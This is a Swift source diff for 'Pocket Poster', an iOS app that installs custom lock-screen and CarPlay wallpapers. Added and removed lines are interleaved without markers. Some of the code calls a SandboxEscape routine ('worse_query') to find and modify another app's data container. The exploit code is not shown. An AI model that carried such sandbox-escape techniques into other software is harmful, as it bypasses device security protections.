Text("Would you like to download the file \(DownloadManager.getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))?")
}
.onOpenURL(perform: { url in
// Download URL
if url.absoluteString.starts(with: "pocketposter://download") {
// prohibit to only tendies files
if !url.absoluteString.hasSuffix(".tendies") {
UIApplication.shared.alert(body: "Only .tendies files can be downloaded!")
} else if selectedTendies.count >= PosterBoardManager.MaxTendies {
UIApplication.shared.alert(title: "Max Tendies Reached", body: "You can only apply \(PosterBoardManager.MaxTendies) descriptors.")
} else {
downloadURL = url.absoluteString.replacingOccurrences(of: "pocketposter://download?url=", with: "")
showDownloadAlert = true
}
dlManager.startTendiesDownload(for: url)
}
// App Hash URL
else if url.absoluteString.starts(with: "pocketposter://app-hash?uuid=") {
pbHash = url.absoluteString.replacingOccurrences(of: "pocketposter://app-hash?uuid=", with: "")
}
else if url.pathExtension == "tendies" {
if selectedTendies.count >= PosterBoardManager.MaxTendies {
UIApplication.shared.alert(title: "Max Tendies Reached", body: "You can only apply \(PosterBoardManager.MaxTendies) descriptors.")
if PosterBoardManager.shared.selectedTendies.count >= PosterBoardManager.MaxTendies {
UIApplication.shared.alert(title: NSLocalizedString("Max Tendies Reached", comment: ""), body: String(format: NSLocalizedString("You can only apply %@ descriptors.", comment: ""), "\(PosterBoardManager.MaxTendies)"))
} else {
// copy it over to the KFC bucket
do {
let newURL = try DownloadManager.copyTendies(from: url)
selectedTendies.append(newURL)
let newURL = try DownloadManager.shared.copyTendies(from: url)
PosterBoardManager.shared.selectedTendies.append(newURL)
Haptic.shared.notify(.success)
UIApplication.shared.alert(title: "Successfully imported \(url.lastPathComponent)", body: "")
UIApplication.shared.alert(title: String(format: NSLocalizedString("Successfully imported %@", comment: ""), "\(url.lastPathComponent)"), body: "")
} catch {
Haptic.shared.notify(.error)
UIApplication.shared.alert(title: "Failed to import tendies", body: error.localizedDescription)
UIApplication.shared.alert(title: NSLocalizedString("Failed to import tendies", comment: ""), body: error.localizedDescription)
}
}
}
@@ -74,20 +81,13 @@ struct Pocket_PosterApp: App {
}
}
func downloadWallpaper() {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
UIApplication.shared.alert(title: NSLocalizedString("Downloading", comment: "") + " \(DownloadManager.getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))...", body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
Task {
do {
let newURL = try await DownloadManager.downloadFromURL(string: downloadURL!)
selectedTendies.append(newURL)
Haptic.shared.notify(.success)
UIApplication.shared.dismissAlert(animated: true)
} catch {
Haptic.shared.notify(.error)
UIApplication.shared.dismissAlert(animated: true)
UIApplication.shared.alert(title: NSLocalizedString("Could not download wallpaper!", comment: ""), body: error.localizedDescription)
init() {
// clear the videos cache
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory))
if SelfTest.isEnabled {
DispatchQueue.global(qos: .userInitiated).async {
SelfTest.run()
}
}
}
@@ -0,0 +1 @@
PRPosterRoleLockScreen
Binary file not shown.
@@ -0,0 +1,58 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>assetManifest</key>
<string>assetManifest.caml</string>
<key>documentHeight</key>
<real>3176</real>
<key>documentResizesToView</key>
<false/>
<key>documentWidth</key>
<real>3176</real>
<key>dynamicGuidesEnabled</key>
<true/>
<key>geometryFlipped</key>
<false/>
<key>guidesEnabled</key>
<true/>
<key>interactiveMouseEventsEnabled</key>
<true/>
<key>interactiveShowsCursor</key>
<true/>
<key>interactiveTouchEventsEnabled</key>
<false/>
<key>loopEnd</key>
<real>0.0</real>
<key>loopStart</key>
<real>0.0</real>
<key>loopingEnabled</key>
<false/>
<key>multitouchDisablesMouse</key>
<false/>
<key>multitouchEnabled</key>
<false/>
<key>presentationMouseEventsEnabled</key>
<true/>
<key>presentationShowsCursor</key>
<true/>
<key>presentationTouchEventsEnabled</key>
<false/>
<key>rootDocument</key>
<string>main.caml</string>
<key>savesWindowFrame</key>
<false/>
<key>scalesToFitInPlayer</key>
<false/>
<key>showsTouches</key>
<true/>
<key>snappingEnabled</key>
<true/>
<key>timelineMarkers</key>
<string>[(null)]</string>
<key>touchesColor</key>
<string>1 1 0 0.8</string>
<key>unitsInPixelsInPlayer</key>
<true/>
</dict>
</plist>
@@ -0,0 +1,40 @@
<?xml version="1.0" encoding="UTF-8"?>
<caml xmlns="http://www.apple.com/CoreAnimation/1.0">
<CALayer allowsEdgeAntialiasing="1" allowsGroupOpacity="1" bounds="0 0 3176 3176" contentsFormat="RGBA8" cornerCurve="circular" hidden="0" name="_BACKGROUND" position="1588 1588">
<sublayers>
<CALayer allowsEdgeAntialiasing="1" allowsGroupOpacity="1" anchorPoint="0 0" bounds="0 0 0 0" contentsFormat="RGBA8" cornerCurve="circular" name="_CENTER_BACKGROUND" position="1588 1588"/>
</sublayers>
<states>
<LKState name="Locked">
<elements/>
</LKState>
<LKState name="Unlock">
<elements/>
</LKState>
<LKState name="Sleep">
<elements/>
</LKState>
</states>
<stateTransitions>
<LKStateTransition fromState="*" toState="Unlock">
<elements/>
</LKStateTransition>
<LKStateTransition fromState="Unlock" toState="*">
<elements/>
</LKStateTransition>
<LKStateTransition fromState="*" toState="Locked">
<elements/>
</LKStateTransition>
<LKStateTransition fromState="Locked" toState="*">
<elements/>
</LKStateTransition>
<LKStateTransition fromState="*" toState="Sleep">
<elements/>
</LKStateTransition>
<LKStateTransition fromState="Sleep" toState="*">
<elements/>
</LKStateTransition>
</stateTransitions>
</CALayer>
</caml>
@@ -0,0 +1,46 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>appearanceAware</key>
<true/>
<key>assets</key>
<dict>
<key>lockAndHome</key>
<dict>
<key>default</key>
<dict>
<key>backgroundAnimationFileName</key>
<string>9183.Custom_Background-810w-1080h@2x~ipad.ca</string>
<key>floatingAnimationFileNameKey</key>
<string>9183.Custom_Floating-810w-1080h@2x~ipad.ca</string>
<key>identifier</key>
<integer>9183</integer>
<key>name</key>
<string>Chip</string>
<key>type</key>
<string>LayeredAnimation</string>
</dict>
</dict>
</dict>
<key>contentVersion</key>
<real>2.01</real>
<key>family</key>
<string>Chip</string>
<key>identifier</key>
<integer>9183</integer>
<key>logicalScreenClass</key>
<string>810w-1080h@2x~ipad</string>
<key>name</key>
<string>Chip</string>
<key>preferredProminentColor</key>
<dict>
<key>dark</key>
<string>#00000</string>
<key>default</key>
<string>#FFFFFF</string>
</dict>
<key>version</key>
<integer>1</integer>
</dict>
</plist>
@@ -0,0 +1,14 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>posterEnvironmentOverrides</key>
<data>
e30=
</data>
<key>wallpaperRepresentingFileName</key>
<string>9183.Custom-810w-1080h@2x~ipad.wallpaper</string>
<key>wallpaperRepresentingIdentifier</key>
<string>9999</string>
</dict>
</plist>
@@ -0,0 +1,75 @@
//
// WebView.swift
// Pocket Poster
//
// Created by lemin on 7/6/25.
//
import Foundation
import SwiftUI
import WebKit
struct WallpaperWebView: UIViewRepresentable {
let url: URL
@Binding var isLoading: Bool
@Binding var error: Error?
init(_ url: URL, isLoading: Binding<Bool>, error: Binding<Error?>) {
self.url = url
self._isLoading = isLoading
self._error = error
}
func makeCoordinator() -> Coordinator {
Coordinator(self)
}
func makeUIView(context: Context) -> some UIView {
let configuration = WKWebViewConfiguration()
configuration.setURLSchemeHandler(AssetsSchemeHandler(), forURLScheme: "pocketposter")
let webView = WKWebView(frame: .zero, configuration: configuration)
webView.navigationDelegate = context.coordinator
webView.load(URLRequest(url: url))
return webView
}
func updateUIView(_ uiView: UIViewType, context: Context) {}
class Coordinator: NSObject, WKNavigationDelegate {
var parent: WallpaperWebView
init(_ parent: WallpaperWebView) {
self.parent = parent
}
func webView(_ webView: WKWebView, didStartProvisionalNavigation navigation: WKNavigation!) {
parent.isLoading = true
}
func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
parent.isLoading = false
}
func webView(_ webView: WKWebView, didFailProvisionalNavigation navigation: WKNavigation!, withError error: Error) {
return
let nsError = error as NSError
if nsError.code == NSURLErrorCancelled { return }
print("loading error: \(error)")
parent.isLoading = false
parent.error = error
}
}
}
class AssetsSchemeHandler: NSObject, WKURLSchemeHandler {
func webView(_ webView: WKWebView, start urlSchemeTask: WKURLSchemeTask) {
DispatchQueue.global().async {
print("handling scheme")
guard let url = urlSchemeTask.request.url, url.absoluteString.starts(with: "pocketposter://download") else { return }
print("url: \(url.absoluteString)")
DownloadManager.shared.startTendiesDownload(for: url)
}
}
func webView(_ webView: WKWebView, stop urlSchemeTask: WKURLSchemeTask) {
}
}
+90 -43
View File
@@ -7,6 +7,7 @@
import SwiftUI
import UniformTypeIdentifiers
import PhotosUI
extension UIDocumentPickerViewController {
@objc func fix_init(forOpeningContentTypes contentTypes: [UTType], asCopy: Bool) -> UIDocumentPickerViewController {
@@ -18,13 +19,11 @@ struct ContentView: View {
// Prefs
@AppStorage("pbHash") var pbHash: String = ""
@ObservedObject var pbManager = PosterBoardManager.shared
private let buildNumber = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
@State var showTendiesImporter: Bool = false
var selectedTendies: Binding<[URL]>
@State var showErrorAlert = false
@State var lastError: String?
@State var hideResetHelp: Bool = true
var body: some View {
@@ -40,16 +39,16 @@ struct ContentView: View {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
showTendiesImporter.toggle()
}) {
Text("Select Tendies")
Label("Select Tendies", systemImage: "document.circle")
}
.buttonStyle(TintedButton(color: .green, fullwidth: true))
}
.listRowInsets(EdgeInsets())
.padding(7)
if !selectedTendies.wrappedValue.isEmpty {
if !pbManager.selectedTendies.isEmpty {
Section {
ForEach(selectedTendies.wrappedValue, id: \.self) { tendie in
ForEach(pbManager.selectedTendies, id: \.self) { tendie in
Text(tendie.deletingPathExtension().lastPathComponent)
}
.onDelete(perform: delete)
@@ -59,46 +58,91 @@ struct ContentView: View {
}
Section {
if pbHash == "" {
if pbHash == "" && !SymHandler.prefersSandboxEscape {
Text("Enter your PosterBoard app hash in Settings.")
} else {
VStack {
if !selectedTendies.wrappedValue.isEmpty {
if pbHash == "" && SymHandler.prefersSandboxEscape {
Text("No hash set — will auto-detect via worse_query on Apply.")
.font(.caption)
.foregroundStyle(.secondary)
}
if !pbManager.selectedTendies.isEmpty || !pbManager.videos.isEmpty {
Button(action: {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
UIApplication.shared.alert(title: NSLocalizedString("Applying Tendies...", comment: ""), body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
UIApplication.shared.alert(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.3) {
DispatchQueue.global(qos: .userInitiated).async {
do {
try PosterBoardManager.applyTendies(selectedTendies.wrappedValue, appHash: pbHash)
selectedTendies.wrappedValue.removeAll()
var hash = pbHash
if hash.isEmpty {
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…")
hash = try SandboxEscape.findPosterBoardHash()
DispatchQueue.main.async { pbHash = hash }
}
try pbManager.applyTendies(appHash: hash)
SymHandler.cleanup() // just to be extra sure
try? FileManager.default.removeItem(at: PosterBoardManager.getTendiesStoreURL())
Haptic.shared.notify(.success)
UIApplication.shared.dismissAlert(animated: false)
UIApplication.shared.confirmAlert(title: "Success!", body: "The PosterBoard app will now open. Please close it from the app switcher.", onOK: {
if !PosterBoardManager.openPosterBoard() {
UIApplication.shared.confirmAlert(title: "Falling Back to Shortcut", body: "PosterBoard failed to open directly. The fallback shortcut will now be opened.", onOK: {
PosterBoardManager.runShortcut(named: "PosterBoard")
}, noCancel: true)
}
}, noCancel: true)
try? FileManager.default.removeItem(at: pbManager.getTendiesStoreURL())
DispatchQueue.main.async {
pbManager.selectedTendies.removeAll()
pbManager.videos.removeAll()
Haptic.shared.notify(.success)
// Instant Mond-style respring (no alert delay)
RespringHelper.respring()
}
} catch CocoaError.fileWriteUnknown {
presentError(ApplyError.wrongAppHash)
} catch CocoaError.fileWriteFileExists {
presentError(ApplyError.collectionsNeedsReset)
} catch {
Haptic.shared.notify(.error)
SymHandler.cleanup()
UIApplication.shared.dismissAlert(animated: false)
UIApplication.shared.alert(body: error.localizedDescription)
print(error.localizedDescription)
presentError(ApplyError.unexpected(info: error.localizedDescription))
}
}
}) {
Text("Apply")
Label("Apply", systemImage: "checkmark.circle")
}
.buttonStyle(TintedButton(color: .blue, fullwidth: true))
}
Button(action: {
hideResetHelp = false
UIApplication.shared.confirmAlert(
title: NSLocalizedString("Reset Collections", comment: ""),
body: SymHandler.prefersSandboxEscape
? "This will wipe custom PosterBoard descriptors via worse_query, then respring."
: NSLocalizedString("Do you want to reset collections?", comment: ""),
onOK: {
UIApplication.shared.alert(
title: "Resetting…",
body: "Please wait",
animated: true,
withButton: false
)
DispatchQueue.global(qos: .userInitiated).async {
do {
var hash = pbHash
if hash.isEmpty && SymHandler.prefersSandboxEscape {
hash = try SandboxEscape.findPosterBoardHash()
DispatchQueue.main.async { pbHash = hash }
}
guard !hash.isEmpty else {
throw ApplyError.wrongAppHash
}
try pbManager.resetCollections(appHash: hash)
DispatchQueue.main.async {
Haptic.shared.notify(.success)
// Instant Mond-style respring
RespringHelper.respring()
}
} catch {
presentError(ApplyError.unexpected(info: error.localizedDescription))
}
}
},
noCancel: false
)
}) {
Text("Reset Collections")
Label("Reset Collections", systemImage: "arrow.clockwise.circle")
}
.buttonStyle(TintedButton(color: .red, fullwidth: true))
}
@@ -130,21 +174,16 @@ struct ContentView: View {
.fileImporter(isPresented: $showTendiesImporter, allowedContentTypes: [UTType(filenameExtension: "tendies", conformingTo: .data)!], allowsMultipleSelection: true, onCompletion: { result in
switch result {
case .success(let url):
if selectedTendies.wrappedValue.count + url.count > PosterBoardManager.MaxTendies {
UIApplication.shared.alert(title: "Max Tendies Reached", body: "You can only apply \(PosterBoardManager.MaxTendies) descriptors.")
if pbManager.selectedTendies.count + url.count > PosterBoardManager.MaxTendies {
UIApplication.shared.alert(title: NSLocalizedString("Max Tendies Reached", comment: ""), body: String(format: NSLocalizedString("You can only apply %@ descriptors.", comment: ""), "\(PosterBoardManager.MaxTendies)"))
} else {
selectedTendies.wrappedValue.append(contentsOf: url)
pbManager.selectedTendies.append(contentsOf: url)
}
case .failure(let error):
lastError = error.localizedDescription
showErrorAlert.toggle()
Haptic.shared.notify(.error)
UIApplication.shared.alert(body: error.localizedDescription)
}
})
.alert("Error", isPresented: $showErrorAlert) {
Button("OK") {}
} message: {
Text(lastError ?? "???")
}
.overlay {
OnBoardingView(cards: resetCollectionsInfo, isFinished: $hideResetHelp)
.opacity(hideResetHelp ? 0.0 : 1.0)
@@ -154,11 +193,19 @@ struct ContentView: View {
}
func delete(at offsets: IndexSet) {
selectedTendies.wrappedValue.remove(atOffsets: offsets)
pbManager.selectedTendies.remove(atOffsets: offsets)
}
init(selectedTendies: Binding<[URL]>) {
self.selectedTendies = selectedTendies
func presentError(_ error: ApplyError) {
SymHandler.cleanup()
DispatchQueue.main.async {
Haptic.shared.notify(.error)
// alert() dismisses any buttonless progress sheet first, always with OK
UIApplication.shared.alert(body: error.localizedDescription, withButton: true)
}
}
init() {
// Fix file picker
let fixMethod = class_getInstanceMethod(UIDocumentPickerViewController.self, #selector(UIDocumentPickerViewController.fix_init(forOpeningContentTypes:asCopy:)))!
let origMethod = class_getInstanceMethod(UIDocumentPickerViewController.self, #selector(UIDocumentPickerViewController.init(forOpeningContentTypes:asCopy:)))!
@@ -0,0 +1,212 @@
//
// CarPlayView.swift
// Pocket Poster
//
// Created by lemin on 6/19/25.
//
import SwiftUI
import PhotosUI
struct CarPlayView: View {
@State var wallpapers: [CarPlayWallpaper] = []
@State var didChange: Bool = false
@State var showDark: Bool = false
@AppStorage("cpHash") var cpHash: String = ""
@State var activeWallpapers: [String] = []
@ObservedObject var pbManager = PosterBoardManager.shared
var body: some View {
NavigationStack {
ZStack {
ScrollView {
if wallpapers.isEmpty {
ProgressView()
} else {
LazyVGrid(columns: [GridItem(.adaptive(minimum: 150, maximum: 250))]) {
ForEach($wallpapers) { wallpaper in
ZStack {
WallpaperView(wallpaper: wallpaper, didChange: $didChange, showDark: $showDark)
.disabled(activeWallpapers.contains(wallpaper.name.wrappedValue))
// The checkmark
if activeWallpapers.contains(wallpaper.name.wrappedValue) {
RoundedRectangle(cornerRadius: 8)
.foregroundStyle(.black.opacity(0.4))
Image(systemName: "checkmark.circle.fill")
.font(.title)
.foregroundStyle(.green)
}
}
}
}
.padding()
}
}
VStack {
Spacer()
if didChange {
Button(action: {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
UIApplication.shared.alert(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
DispatchQueue.global(qos: .userInitiated).async {
do {
try CarPlayManager.applyCarPlay(appHash: cpHash, wallpapers: wallpapers)
SymHandler.cleanup() // just to be extra sure
UIApplication.shared.dismissAlert(animated: false)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
activeWallpapers = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
Haptic.shared.notify(.success)
UIApplication.shared.alert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("You can now choose your wallpapers in the CarPlay settings in your car.", comment: ""))
})
} catch CocoaError.fileWriteUnknown {
presentError(ApplyError.wrongAppHash)
} catch CocoaError.fileWriteFileExists {
presentError(ApplyError.collectionsNeedsReset)
} catch {
print(error.localizedDescription)
presentError(ApplyError.unexpected(info: error.localizedDescription))
}
}
}) {
if cpHash == "" {
Text("Enter your CarPlayWallpaper app hash in Settings.")
} else {
Label("Apply CarPlay Wallpapers", systemImage: "checkmark.circle")
}
}
.buttonStyle(OpaqueButton(color: cpHash == "" ? .red : .blue, fullwidth: true))
.disabled(cpHash == "")
.padding(.vertical, 10)
.padding(.horizontal, 25)
.transition(.move(edge: .bottom))
.animation(.easeIn, value: didChange)
}
}
}
.navigationTitle("CarPlay Wallpapers")
.toolbar {
ToolbarItem(placement: .topBarTrailing, content: {
Button(action: {
withAnimation {
showDark.toggle()
}
}) {
Image(systemName: showDark ? "moon" : "sun.max")
}
})
}
}
.onAppear {
if wallpapers.isEmpty {
// load active wallpapers from user defaults
activeWallpapers = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
// load the wallpapers
let cppURL = CarPlayManager.getCarPlayPhotosURL()
let frameworkPath = "/System/Library/PrivateFrameworks/CarPlayUIServices.framework"
do {
for file in try FileManager.default.contentsOfDirectory(at: URL(fileURLWithPath: frameworkPath), includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
if file.path().hasSuffix("-Light.heic") {
let imgData = try Data(contentsOf: file)
if let wpImg = UIImage(data: imgData) {
var darkImg = wpImg
if let darkData = try? Data(contentsOf: URL(fileURLWithPath: file.path().replacingOccurrences(of: "-Light.heic", with: "-Dark.heic"))) {
darkImg = UIImage(data: darkData) ?? wpImg
}
let name = file.lastPathComponent.replacingOccurrences(of: "-Light.heic", with: "")
// fetch the selected image if they exist
let selectedLight: Data? = try? Data(contentsOf: cppURL.appendingPathComponent("\(name)-Light"))
let selectedDark: Data? = try? Data(contentsOf: cppURL.appendingPathComponent("\(name)-Dark"))
wallpapers.append(.init(
name: name,
lightImage: wpImg, darkImage: darkImg,
selectedImageDataLight: selectedLight, selectedImageDataDark: selectedDark
))
}
}
}
// sort them
if let sortedWallpapers = CarPlayManager.getCarPlayWallpaperNames() {
wallpapers = wallpapers.reorder(by: sortedWallpapers)
}
} catch {
UIApplication.shared.alert(body: NSLocalizedString("Failed to fetch CarPlay wallpapers", comment: "") + ":\n\(error.localizedDescription)")
}
}
}
}
func presentError(_ error: ApplyError) {
SymHandler.cleanup()
UIApplication.shared.dismissAlert(animated: false)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
Haptic.shared.notify(.error)
UIApplication.shared.alert(body: error.localizedDescription)
})
}
}
struct WallpaperView: View {
@Binding var wallpaper: CarPlayWallpaper
@Binding var didChange: Bool
@Binding var showDark: Bool
@State private var selectedItem: PhotosPickerItem? = nil
var body: some View {
PhotosPicker(
selection: $selectedItem,
matching: .images,
photoLibrary: .shared()) {
VStack {
if showDark {
if let data = wallpaper.selectedImageDataDark, let img = UIImage(data: data) {
WallpaperImageView(img: img)
} else {
WallpaperImageView(img: wallpaper.darkImage)
}
} else {
if let data = wallpaper.selectedImageDataLight, let img = UIImage(data: data) {
WallpaperImageView(img: img)
} else {
WallpaperImageView(img: wallpaper.lightImage)
}
}
}
}
.overlay {
RoundedRectangle(cornerRadius: 8)
.stroke(.gray, lineWidth: 2)
}
.onChange(of: selectedItem) { newItem in
if newItem == nil { return }
Task {
// Retrieve selected asset in the form of Data
if let data = try? await newItem?.loadTransferable(type: Data.self) {
if showDark {
wallpaper.selectedImageDataDark = data
} else {
wallpaper.selectedImageDataLight = data
}
selectedItem = nil
withAnimation {
didChange = true
}
}
}
}
}
}
struct WallpaperImageView: View {
var img: UIImage
var body: some View {
Image(uiImage: img)
.resizable()
.aspectRatio(1.35, contentMode: .fill)
.cornerRadius(8)
.clipped()
}
}
@@ -0,0 +1,226 @@
//
// ExploreView.swift
// Pocket Poster
//
// Created by lemin on 7/6/25.
//
import SwiftUI
import CachedAsyncImage
let MIN_SIZE: CGFloat = 165
let CORNER_RADIUS: CGFloat = 12
struct ExploreView: View {
@ObservedObject var cowabungaAPI = CowabungaAPI.shared
// lazyvgrid
@State private var gridItemLayout = [GridItem(.adaptive(minimum: MIN_SIZE))]
@State private var wallpapers: [DownloadableWallpaper] = []
@State var wallpaperTypeSelected = 0
@State var wallpaperTypeShown = DownloadableWallpaper.WallpaperType.custom
@State var filterType: FilterType = .random
@State var searchTerm: String = ""
var body: some View {
NavigationView {
ScrollView {
PullToRefresh(coordinateSpaceName: "pullToRefresh") {
// refresh
wallpapers.removeAll()
Haptic.shared.play(.light)
//URLCache.imageCache.removeAllCachedResponses()
loadWallpapers()
}
VStack {
Picker("", selection: $wallpaperTypeSelected) {
Text("Custom").tag(0)
Text("Apple").tag(1)
}
.pickerStyle(.segmented)
}
.padding(.horizontal, 24)
.padding(.bottom, 10)
if wallpapers.isEmpty {
ProgressView()
.scaleEffect(1.75)
.navigationTitle("Explore")
} else {
LazyVGrid(columns: gridItemLayout) {
ForEach(wallpapers) { wallpaper in
if searchTerm == "" || wallpaper.name.lowercased().contains(searchTerm.lowercased()) || (wallpaper.authors ?? "").lowercased().contains(searchTerm.lowercased()) {
Button(action: {
DownloadManager.shared.startTendiesDownload(for: cowabungaAPI.getDownloadURLForWallpaper(wallpaper: wallpaper))
}) {
VStack(spacing: 0) {
ZStack {
Color.gray.opacity(0.4)
if wallpaper.previewIsGif() {
GIFImage(url: cowabungaAPI.getPreviewURLForWallpaper(wallpaper: wallpaper), animate: true, loop: true)
.aspectRatio(contentMode: .fit)
.frame(maxWidth: .infinity)
} else {
CachedAsyncImage(url: cowabungaAPI.getPreviewURLForWallpaper(wallpaper: wallpaper), urlCache: .imageCache) { image in
image
.resizable()
.aspectRatio(contentMode: .fit)
.frame(maxWidth: .infinity)
} placeholder: {
Color.gray
.frame(height: MIN_SIZE)
}
}
}
.cornerRadius(CORNER_RADIUS, corners: .topLeft)
.cornerRadius(CORNER_RADIUS, corners: .topRight)
HStack {
VStack(spacing: 4) {
HStack {
Text(wallpaper.name)
.foregroundStyle(Color(uiColor: .label))
.minimumScaleFactor(0.5)
Spacer()
}
if let authors = wallpaper.authors {
HStack {
Text(authors)
.foregroundColor(.secondary)
.font(.caption)
.minimumScaleFactor(0.5)
Spacer()
}
}
}
.lineLimit(1)
Spacer()
Image(systemName: "arrow.down.circle")
.foregroundColor(.blue)
}
.padding(.horizontal, 12)
.padding(.vertical, 8)
.frame(height: 58)
}
}
.frame(minWidth: MIN_SIZE)
.background(Color(uiColor: .secondarySystemBackground))
.cornerRadius(CORNER_RADIUS)
.padding(4)
}
}
}
.padding()
}
}
.searchable(text: $searchTerm)
.coordinateSpace(name: "pullToRefresh")
.navigationTitle("Explore")
.toolbar {
ToolbarItem(placement: .navigationBarTrailing) {
Button(action: {
showFilterChangerPopup()
}) {
Image(systemName: "line.3.horizontal.decrease.circle")
}
}
}
}
.onAppear {
loadWallpapers()
}
.onChange(of: wallpaperTypeSelected) { newValue in
let map = [0: DownloadableWallpaper.WallpaperType.custom, 1: .apple, 2: .template]
wallpaperTypeShown = map[newValue]!
wallpapers.removeAll()
loadWallpapers()
}
}
func loadWallpapers() {
Task {
do {
wallpapers = try await cowabungaAPI.fetchWallpapers(type: wallpaperTypeShown)
wallpapers = cowabungaAPI.filterWallpapers(wallpapers: wallpapers, filterType: filterType)
} catch {
UIApplication.shared.alert(title: NSLocalizedString("Failed to fetch wallpapers", comment: ""), body: error.localizedDescription)
}
}
}
func showFilterChangerPopup() {
// create and configure alert controller
let alert = UIAlertController(title: NSLocalizedString("Filter Wallpapers", comment: ""), message: "", preferredStyle: .actionSheet)
// create the actions
for type in FilterType.allCases {
let newAction = UIAlertAction(title: type.rawValue, style: .default) { (action) in
// apply the filter type
filterType = type
wallpapers.removeAll()
loadWallpapers()
}
if filterType == type {
// add a check mark
newAction.setValue(true, forKey: "checked")
}
alert.addAction(newAction)
}
let cancelAction = UIAlertAction(title: NSLocalizedString("Cancel", comment: ""), style: .cancel) { (action) in
// cancels the action
}
// add the actions
alert.addAction(cancelAction)
let view: UIView = UIApplication.shared.windows.first!.rootViewController!.view
// present popover for iPads
alert.popoverPresentationController?.sourceView = view // prevents crashing on iPads
alert.popoverPresentationController?.sourceRect = CGRect(x: view.bounds.midX, y: view.bounds.maxY, width: 0, height: 0) // show up at center bottom on iPads
// present the alert
UIApplication.shared.windows.first?.rootViewController?.present(alert, animated: true)
}
}
struct PullToRefresh: View {
var coordinateSpaceName: String
var onRefresh: ()->Void
@State var needRefresh: Bool = false
var body: some View {
GeometryReader { geo in
if (geo.frame(in: .named(coordinateSpaceName)).midY > 50) {
Spacer()
.onAppear {
needRefresh = true
}
} else if (geo.frame(in: .named(coordinateSpaceName)).maxY < 10) {
Spacer()
.onAppear {
if needRefresh {
needRefresh = false
onRefresh()
}
}
}
HStack {
Spacer()
if needRefresh {
ProgressView()
.scaleEffect(1.75)
.onAppear {
Haptic.shared.play(.light)
}
} else {
Text("")
}
Spacer()
}
}.padding(.top, -50)
}
}
@@ -0,0 +1,205 @@
//
// VideoView.swift
// Pocket Poster
//
// Created by lemin on 6/11/25.
//
import SwiftUI
import PhotosUI
import AVKit
struct VideoView: View {
@ObservedObject var pbManager = PosterBoardManager.shared
@AppStorage("ignoreDurationLimit") var ignoreDurationLimit: Bool = false
@State var selectedVideo: PhotosPickerItem?
@State private var currentPage: Int = 0
@State private var currentDate = Date()
private let timer = Timer.publish(every: 1, on: .main, in: .common).autoconnect() // update every second
private var dateFormatter: DateFormatter {
let formatter = DateFormatter()
formatter.dateFormat = "EEEE, MMMM d"
return formatter
}
private var timeFormatter: DateFormatter {
let formatter = DateFormatter()
if Locale.current.hourCycle == .zeroToEleven || Locale.current.hourCycle == .oneToTwelve {
formatter.dateFormat = "h:mm"
} else {
formatter.dateFormat = "HH:mm"
}
return formatter
}
var body: some View {
VStack {
GeometryReader { geom in
TabView(selection: $currentPage) {
ForEach(Array(pbManager.videos.enumerated()), id: \.offset) { idx, vid in
ZStack {
switch vid.loadState {
case .unknown:
EmptyView()
case .loading:
ProgressView()
case .loaded(let movie):
PlayerView(videoURL: movie.url)
.scaledToFill()
.frame(width: geom.size.width * 0.7, height: geom.size.height * 0.8)
.clipped()
VStack {
Text(dateFormatter.string(from: currentDate))
.shadow(radius: 10)
Text(timeFormatter.string(from: currentDate))
.font(.system(size: 75, weight: .semibold, design: .rounded))
.shadow(radius: 10)
Spacer()
}
.padding(.top, 45)
.foregroundStyle(.white)
case .failed:
Text("Failed")
}
}
.frame(width: geom.size.width * 0.7, height: geom.size.height * 0.8)
.shadow(radius: 5)
.background(Color.black.opacity(0.6))
.cornerRadius(24)
.tag(idx)
.overlay {
RoundedRectangle(cornerRadius: 24)
.stroke(.gray, lineWidth: 4)
}
.overlay(
// Delete Button
DeleteButton(video: vid, onDelete: removeVideo),
alignment: .topLeading
)
.overlay(
// Loops Button
Button(action: {
pbManager.videos[idx].autoReverses = !vid.autoReverses
}) {
Image(systemName: "arrow.left.arrow.right.circle")
.font(.title)
.foregroundStyle(Color(uiColor: .label))
.background {
if vid.autoReverses {
Circle()
.foregroundStyle(.blue.opacity(0.8))
.shadow(radius: 5)
} else {
Circle()
.foregroundStyle(.regularMaterial)
.shadow(radius: 5)
}
}
}.offset(x: 8, y: -8),
alignment: .topTrailing
)
}
.onDelete(perform: removeVideo)
.onReceive(timer) { input in
currentDate = input
}
// MARK: Select Photo Option
if selectedVideo == nil && pbManager.videos.count < 5 {
ZStack {
PhotosPicker(selection: $selectedVideo, matching: .videos, label: {
ZStack {
RoundedRectangle(cornerRadius: 24)
.fill(.gray.opacity(0.4))
Circle()
